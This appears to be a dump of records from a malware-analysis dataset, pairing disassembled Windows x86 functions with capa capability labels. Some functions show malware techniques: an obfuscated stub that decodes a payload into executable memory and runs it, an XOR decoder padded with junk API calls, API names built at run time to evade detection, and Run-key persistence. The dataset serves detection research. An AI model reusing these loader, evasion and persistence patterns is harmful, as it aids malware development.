joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46bd00
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4cebf4]
cmp dword [eax + 0x30], 0
je 0x46bdaa
cmp dword [ebx + 0x94], 0
jne 0x46bda4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x46bc90
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x46bda4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x46bd6a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x46bda4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041a584
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x46bd79
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x46c908
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x46c93d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004046e8
jmp 0x46c94a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040464c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x46dafc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46db3d
mov eax, esi
call fcn.00453d28
test al, al
je 0x46db3d
mov eax, dword [ebx + 0x84]
call fcn.00453a24
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46db3d
push 0
mov eax, dword [ebx + 0x84]
call fcn.00453a24
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x46e904
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x416fd4]
call fcn.00405014
xor eax, eax
push ebp
push 0x46ea48
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4c9fcc], 0
jne 0x46e957
mov ecx, dword [0x4cc8a0]
mov dl, 1
mov eax, dword [0x407c8c]
call fcn.0040ca7c
call fcn.00403f4c
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403170
mov eax, ebx
call fcn.00404e70
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x46ea58
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004061a0
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404e80
test eax, eax
jle 0x46e9ef
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x46e9e8
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404880
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404868
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408b78
test eax, eax
jne 0x46e9e8
mov ebx, 0x15
jmp 0x46e9f4
mov ebx, 0x10
jmp 0x46e9f4
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4c9fcc]
call fcn.0046e85c
mov eax, dword [ebp - 8]
call fcn.0046e85c
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004061b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ea4f
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.0040461c
lea eax, [ebp - 0x10]
mov edx, dword [0x416fd4]
call fcn.004050e4
ret

Function at 0x4721f4
Capabilities:
Hide graphical window

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
mov eax, ebx
call fcn.00471c94
test byte [ebx + 0x23d], 4
jne 0x472289
mov edx, esp
mov eax, ebx
call fcn.0044cba4
push esp
mov eax, ebx
call fcn.00453820
push eax
push 0
mov eax, ebx
test eax, eax
je 0x472229
sub eax, 0xfffffd9c
push eax
push 0
push 0xfffffffffffffffb
mov eax, dword [ebx + 0x218]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
cmp dword [ebx + 0x22c], 0
jne 0x47225a
mov ecx, dword [0x4ccca0]
mov dl, 1
mov eax, dword [0x46e51c]
call fcn.0040ca7c
call fcn.00403f4c
mov eax, ebx
call fcn.004727c0
cmp byte [ebx + 0x57], 0
jne 0x472290
mov eax, ebx
call fcn.00453a24
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x472290
push 0
mov eax, ebx
call fcn.00453a24
push eax
call sub.user32.dll_ShowWindow
jmp 0x472290
mov eax, ebx
call fcn.004509a4
add esp, 0x10
pop ebx
ret
Function at 0x4751d4
Capabilities:
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb0
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
lea eax, [esp + 0x10]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebp, dword [esp + 0x14]
call sub.kernel32.dll_GetCurrentProcessId
mov dword [esp + 8], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], eax
xor edi, edi
mov ebx, dword [esp + 0xc]
shr ebx, 0x10
mov eax, ebx
shl eax, 0x10
mov ebx, eax
mov eax, edi
shl eax, 0x10
sub ebx, eax
mov eax, ebx
xor edx, edx
div ebp
imul ebp
mov ebx, eax
push 4
push 0x3000
push ebp
push ebx
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
test esi, esi
je 0x475252
cmp esi, ebx
je 0x475252
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
inc edi
jmp 0x4752cb
test esi, esi
jne 0x4752d4
push 0x1c
lea eax, [esp + 0x38]
push eax
push ebx
call sub.kernel32.dll_VirtualQuery_1
cmp dword [esp + 0x40], 0x118
jb 0x4752c8
mov eax, dword [esp + 0x48]
and eax, 4
cmp eax, 4
jne 0x4752c8
mov eax, dword [esp + 8]
xor edx, edx
xor eax, 0x23456789
xor edx, 0xabcdef01
cmp edx, dword [ebx + 4]
jne 0x4752c8
cmp eax, dword [ebx]
jne 0x4752c8
mov eax, dword [esp + 8]
xor edx, edx
xor eax, 0x10fedcba
xor edx, 0x98765432
cmp edx, dword [ebx + 0x114]
jne 0x4752c8
cmp eax, dword [ebx + 0x110]
jne 0x4752c8
lea eax, [ebx + 8]
mov edx, dword [esp]
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00403100
je 0x4752d4
inc edi
xor ebx, ebx
cmp edi, 0x14
jle 0x47520b
xor eax, eax
test esi, esi
je 0x47533a
cmp esi, ebx
jne 0x475356
mov eax, dword [esp + 8]
xor edx, edx
xor eax, 0x23456789
xor edx, 0xabcdef01
mov dword [ebx], eax
mov dword [ebx + 4], edx
lea eax, [ebx + 8]
mov edx, dword [esp]
call fcn.00403054
mov eax, dword [esp + 8]
xor edx, edx
xor eax, 0x10fedcba
xor edx, 0x98765432
mov dword [ebx + 0x110], eax
mov dword [ebx + 0x114], edx
mov dword [ebx + 0x108], 1
lea eax, [ebx + 0x118]
mov edx, dword [esp + 4]
mov dword [edx], 1
jmp 0x475356
test ebx, ebx
je 0x475356
inc dword [ebx + 0x108]
lea eax, [ebx + 0x118]
mov edx, dword [esp + 4]
mov ecx, dword [ebx + 0x108]
mov dword [edx], ecx
add esp, 0x50
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x477fa4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x478164
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x24
call fcn.00403170
lea eax, [ebp - 0x28]
push eax
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [ebp - 0x14]
mov dword [0x4cab28], eax
mov eax, dword [ebp - 0xc]
mov dword [0x4cab2c], eax
mov eax, dword [ebp - 0x24]
mov dword [0x4cab30], eax
mov eax, dword [0x4cd1b4]
cmp dword [eax], 2
sete byte [0x4ca658]
push 0x478170
call sub.kernel32.dll_GetModuleHandleA_2
lea edx, [ebp - 4]
call fcn.004788f4
cmp byte [0x4ca658], 0
jne 0x478030
lea edx, [ebp - 0x5c]
mov eax, dword [ebp - 4]
call fcn.00478924
test al, al
je 0x478030
mov eax, dword [ebp - 0x4c]
mov dword [0x4cf1c4], eax
jmp 0x478037
xor eax, eax
mov dword [0x4cf1c4], eax
call fcn.00477d1c
and eax, 0x7f
cmp eax, 0x10
ja case.0x478048.0
jmp dword [eax*4 + 0x47804f]
mov byte [0x4ca644], 1
jmp case.0x478048.0
mov byte [0x4ca648], 1
jmp case.0x478048.0
mov byte [0x4ca64c], 1
jmp case.0x478048.0
mov byte [0x4ca650], 1
jmp case.0x478048.0
mov byte [0x4ca654], 1
jmp case.0x478048.0
mov byte [0x4ca65c], 1
mov byte [0x4ca660], 1
jmp case.0x478048.0
mov byte [0x4ca65c], 1
mov byte [0x4ca664], 1
jmp case.0x478048.0
mov byte [0x4ca65c], 1
mov byte [0x4ca664], 1
mov byte [0x4ca668], 1
jmp case.0x478048.0
mov byte [0x4ca66c], 1
jmp case.0x478048.0
mov byte [0x4ca670], 1
jmp case.0x478048.0
mov byte [0x4ca674], 1
jmp case.0x478048.0
mov byte [0x4ca678], 1
jmp case.0x478048.0
mov byte [0x4ca67c], 1
jmp case.0x478048.0
mov byte [0x4ca680], 1
jmp case.0x478048.0
mov byte [0x4ca684], 1
jmp case.0x478048.0
mov byte [0x4ca688], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47816b
lea eax, [ebp - 4]
call fcn.004045f8
ret

Function at 0x478924
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4789cb
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, esi
call fcn.00404ab8
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
jbe 0x4789b5
lea eax, [ebp - 0x10]
mov edx, edi
call fcn.00404c44
mov eax, dword [ebp - 0x10]
push eax
push edi
mov eax, dword [ebp - 0xc]
push eax
mov eax, esi
call fcn.00404ab8
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x4789b5
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x4789dc
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x4789b5
cmp dword [ebp - 8], 0x34
jne 0x4789b5
mov bl, 1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
mov esi, eax
mov edi, edx
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4789d2
lea eax, [ebp - 0x10]
call fcn.004045f8
ret
Function at 0x4792e8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
call fcn.004792a4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x47935c
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [0x4cf1f4], eax
mov ebx, 0x479230
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x47935c
xor eax, eax
push ebp
push 0x479355
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [eax], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47935c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x479364
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
call fcn.004792a4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4793cf
mov ebx, dword [0x4cf1f4]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4793cf
xor eax, eax
push ebp
push 0x4793c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [eax], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4793cf
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x47ac24
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x47acf8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404690
lea eax, [ebp - 8]
call fcn.00404b08
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404ab8
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x47ace2
mov eax, ebx
call fcn.00402b10
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x47acdb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404ab8
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x47acc5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x47ad08
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x47acc5
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ace2
mov eax, dword [ebp - 0x10]
call fcn.00402b40
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47acff
lea eax, [ebp - 8]
call fcn.004045f8
ret
Function at 0x47eb50
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x47eb7e
mov eax, ebx
call fcn.0047f604
cmp dword [ebx + 0x40], 0
je 0x47eb77
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x47ebef
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x47ebe1
cmp dword [ebx + 8], 0
je 0x47eba0
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x47ebb2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x47ebe1
cmp dword [ebx + 8], 0
je 0x47eb93
cmp eax, 3
je 0x47ebc5
dec eax
jne 0x47eb93
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x47eb93
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x47eb93
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x47ec0d
cmp dword [ebx + 0x14], 0xcc
je 0x47ec0d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0047ec18
pop ebx
ret

Function at 0x4c2138
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x4c2192
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.004c2128
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.004bfed4
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.004bfa2c
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c2199
lea eax, [ebp - 4]
call fcn.004045f8
ret
Function at 0x4c6c28
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404aa8
mov eax, dword [ebp - 8]
call fcn.00404aa8
xor eax, eax
push ebp
push 0x4c6cb1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x434794]
call fcn.00434868
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.00434908
mov cl, 1
mov edx, 0x4c6cc8
mov eax, ebx
call fcn.0043496c
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00434b00
mov eax, ebx
call fcn.004348d8
mov eax, ebx
call fcn.0040376c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c6cb8
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040461c
ret

Function at 0x4c76e8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
push 0
push 0
push 0xe
push edi
call sub.user32.dll_SendMessageA
mov ebx, eax
test ebx, ebx
jne 0x4c770b
mov eax, ebp
call fcn.004045f8
jmp 0x4c7730
lea eax, [ebx + 1]
call fcn.00402b10
mov esi, eax
push esi
inc ebx
push ebx
push 0xd
push edi
call sub.user32.dll_SendMessageA
mov eax, ebp
mov edx, esi
call fcn.004047f0
mov eax, esi
call fcn.00402b40
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401443
pop dword [ebp - 0x40]
mov eax, 0x4d88d009
add eax, 0xb2b7443a
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xb3aeb3d5
add dword [ebp - 0x50], 0x9aa39176
mov dword [ebp - 0x4c], 0xf654b45d
sub dword [ebp - 0x4c], 0xc4216818
mov dword [ebp - 0x48], 0x1e449b49
add dword [ebp - 0x48], 0x2e07a8e5
mov dword [ebp - 0x44], 0x256d1e6c
add dword [ebp - 0x44], 0xda92e194
lea eax, [ebp - 0x50]
push eax
mov eax, 0x598799d4
sub eax, 0x5947195c
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb993fedc
add dword [ebp - 0x50], 0xbade6a7a
mov dword [ebp - 0x4c], 0xccc6a2d0
sub dword [ebp - 0x4c], 0x8b5a415b
mov dword [ebp - 0x48], 0xbbbff370
sub dword [ebp - 0x48], 0x58508704
mov dword [ebp - 0x44], 0x569f7e53
sub dword [ebp - 0x44], 0x569f7e53
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x89f8b09c
add eax, 0x7647cfe0
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x34659
push 0
call eax
mov ecx, 0x308bc470
add ecx, 0xcf7473a5
mov ebx, eax
mov esi, 0x633c7e21
add esi, 0x9d0913df
add esi, dword [ebp - 0x40]
mov edi, 0x22484f7e
add edi, 0x515e89cc
sub dword [ebp - 0x1c], 0x161fb3a2
mov edx, dword [esi]
mov dword [ebp - 0x20], 0xa146bc0f
sub edx, edi
xor dword [ebp - 0xc], 0x3492212f
mov dword [ebx], edx
sub dword [ebp - 0x10], 0x3cdc35a1
add ebx, 4
add esi, 0xbcaf90bf
sub esi, 0xbcaf90bb
loop 0x401565
add eax, 0xd327
xor ebx, ebx
add ebx, eax
add eax, 0xb45ab623
sub eax, 0xb45ab61e
mov ecx, 0x632d27c7
add ecx, 0x9d12d839
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412d00
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x412e87
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_InitializeAcl]
nop dword [eax]
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x19
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x69
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xde
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x11
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x4a
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x3a
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x66
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xf2
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x2b
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x58
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xdb
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x43
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xb1
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x6f
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x2d
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x82
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x6c
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xf4
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xaa
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x3b
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x2c
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x40
push 0
push 0
push 0
call esi
add byte [edi + ebp], 9
push 0
push 0
push 0
call esi
add byte [edi + ebp], 7
push 0
push 0
push 0
call esi
sub byte [edi + ebp], 0x80
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xe6
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x5b
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x35
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xc5
inc edi
cmp edi, ebx
jb 0x412d20
pop esi
pop ebp
pop edi
pop ebx
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x451c59
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451c6a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405902
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b112
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b123
pop esi
ret
push ebx
push edi
push esi
call fcn.0049aff9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fd5
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b14b
push ebx
push esi
push edi
call fcn.004056f5
add esp, 0xc
push 0
call fcn.0040623f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x422b10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x7ada98], ax
mov word [0x7ada9c], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x7ada98
mov dword [0x7adaa4], 0x320033
mov dword [0x7adaac], 0x6c006c
mov word [0x7ada9e], cx
mov dword [0x7adaa0], 0x6c0065
mov dword [0x7adaa8], 0x64002e
mov word [0x7ada9a], dx
mov word [0x7adab0], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x7ada94]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x7ada90], eax
mov eax, dword [0x42eae4]
push edx
push eax
mov byte [0x429d5b], 0x65
mov dword [0x429d51], 0x75747269
mov word [0x429d55], 0x6c61
mov byte [0x429d50], 0x56
mov word [0x429d5c], 0x7463
mov byte [0x429d5e], 0
mov dword [0x429d57], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x422c00
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x108c
call fcn.0040e830
cmp dword [0x7ada94], 0x37
jne 0x422cd5
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046bc
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp + 4]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x8c]
push edx
push 0x4046dc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 0xc]
push edx
push 0x4046e8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push 0
lea ecx, [esp + 0x88c]
push ecx
push 0
push 0x404708
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404720
push 0x404790
push 0x4047f8
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov edx, dword [0x7aea88]
mov dword [esp + 4], edx
mov eax, 0x5d1
add dword [esp + 4], eax
mov eax, dword [esp + 4]
mov cl, byte [eax + esi]
mov edx, dword [0x42eae4]
mov byte [edx + esi], cl
add esp, 0x108c
ret